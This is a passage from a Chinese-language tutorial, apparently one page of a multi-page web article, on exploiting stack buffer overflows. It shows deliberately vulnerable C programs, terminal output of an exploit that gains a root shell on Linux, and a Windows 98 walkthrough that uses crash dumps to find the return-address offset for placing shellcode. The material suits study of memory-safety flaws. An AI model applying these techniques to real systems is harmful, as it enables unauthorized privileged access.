下面来试一试:
我们先写一个漏洞程序:
vulnerable.C
------------------------------------------------------------------------
----
#include <stdio.h>
int main(int argc,char ** argv)
{
char buffer[1000];
printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);
return 0;
}
------------------------------------------------------------------------
----
[nkl10]$Content$nbsp;./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can"t connect to the shell
看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样就可以不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。
[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
Linux localhost.localdomain 2.2.5-15。。。
嘿嘿,大功告成了。
---------------------------------------------------------------
window系统下的堆栈溢出--原理篇
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。让我们从头开始。windows 98第二版
首先,我们来写一个问题程序:
#include <stdio.h>
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("\\0x%x",name[i]);
}
相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程 序 一个很长的串,肯定可以覆盖堆栈中的返回地址。
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点击详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我们。
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏移位置。
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0
x32\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0
x30\0x32
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细信息按钮,下面是详细信息:
VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c
哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计算一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name变量地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始地址是多少呢通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为
0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在windows系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址都是相同的。也就是说,每次运行,name的地址都是0x64fdd4。
[1] [2] [3] [4] 下一页